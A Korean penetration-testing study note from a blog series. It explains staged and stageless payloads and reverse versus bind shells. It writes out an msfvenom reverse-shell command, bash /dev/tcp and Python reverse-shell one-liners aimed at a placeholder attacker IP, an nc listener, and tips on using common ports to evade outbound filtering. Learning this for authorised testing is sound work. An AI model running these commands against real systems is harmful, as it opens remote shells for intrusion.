BLOG
Tracefield · 02
Tracefield · 01
블로그 · 14
Vibe Audit · 04
Vibe Audit · 03
Vibe Audit · 02
Vibe Audit · 01
출판편집자 · 01
StudyTree · 01
SecurityOps · 02
SecurityOps · 01
AI챗봇 · 04
AI챗봇 · 03
AI챗봇 · 02
AI챗봇 · 01
퍼플심 · 04
퍼플심 · 03
퍼플심 · 02
퍼플심 · 01
블로그 · 13
rootscan · 07
rootscan · 06
블로그 · 12
블로그 · 11
블로그 · 10
블로그 · 09
블로그 · 08
블로그 · 07
블로그 · 06
블로그 · 05
블로그 · 04
블로그 · 03
블로그 · 02
블로그 · 01
rootscan · 05
rootscan · 04
rootscan · 03
asmspeak · 03
asmspeak · 02
rootscan · 02
asmspeak · 01
rootscan · 01
웹보안도구 · 02
웹보안도구 · 01
루트캠프 · 02
루트캠프 · 01
All notes 167
2025-12-03 / 호스트기반모의해킹 · 23
페이로드와 리버스 쉘
1. 페이로드(Payload) 개요
페이로드(Payload)는 익스플로잇(Exploit) 성공 후 타겟 시스템에서 실행되는 코드나 데이터를 의미한다.
- 구성 요소: 대상(Target OS), 포맷(Format: ELF, EXE), 전달 방식(Staging), 종류(Type).
- 전달 방식에 따른 분류:
- Staged Payload: 작은 로더(Loader)만 먼저 실행 후, 나머지 공격 코드를 네트워크로 다운로드한다.(용량 작음, 탐지 가능성)
- Stageless Payload: 모든 기능이 포함된 단일 파일.(용량 큼, 안정적)
2. 쉘(Shell)의 종류
2.1 리버스 쉘(Reverse Shell)
- 동작: 타겟(Target)이 공격자(Attacker)에게 연결을 시도한다(
Outbound Connection).
- 장점: 대부분의 방화벽은 들어오는 연결(Inbound)은 막지만, 나가는 연결(Outbound)은 허용하는 경우가 많아 방화벽 우회에 유리하다.
- 실무: 모의해킹에서 가장 많이 사용되는 방식이다.
2.2 바인드 쉘(Bind Shell)
- 동작: 타겟 시스템의 특정 포트를 열어두고(Bind), 공격자가 타겟으로 접속한다(
Inbound Connection).
- 단점: 방화벽(Inbound Deny)이나 NAT 환경에서는 접속이 불가능한 경우가 많다.
3. 리버스 쉘 제작 및 실습
3.1 MSFVenom(자동화 도구)
메타스플로잇(Metasploit) 프레임워크에 포함된 페이로드 생성 도구.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[Attacker_IP] LPORT=[Port] -f elf -o shell.elf
3.2 One-Liner(스크립트 활용)
파일 업로드가 제한적일 때, 타겟 시스템에 존재하는 인터프리터(Bash, Python 등)를 이용한다.
- Bash:
bash -i >& /dev/tcp/[Attacker_IP]/[Port] 0>&1
- Python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[Port]));os.dup2(s.fileno(),0);...'
- 팁:
revshells.com 사이트에서 IP/Port만 입력하면 다양한 언어의 구문을 자동으로 생성해준다.
3.3 리스너(Listener) 설정
공격자는 타겟이 보내는 연결을 받을 준비를 해야 한다.
nc -lvnp [Port]
-l: Listen 모드
-v: Verbose(상세 출력)
-n: DNS 조회 안 함(No Resolve, 속도 향상)
-p: Port 지정
4. 실무에서는?
- 환경 조사 필수: "무조건 리버스 쉘"이 아니라, 타겟에
python이 있는지 nc가 있는지 확인 후 적절한 페이로드를 선택한다.
- 포트 선택: 아웃바운드 필터링을 우회하기 위해
80, 443, 53, 8080 등 일반적으로 허용되는 포트를 LPORT로 사용하는 것이 성공 확률이 높다.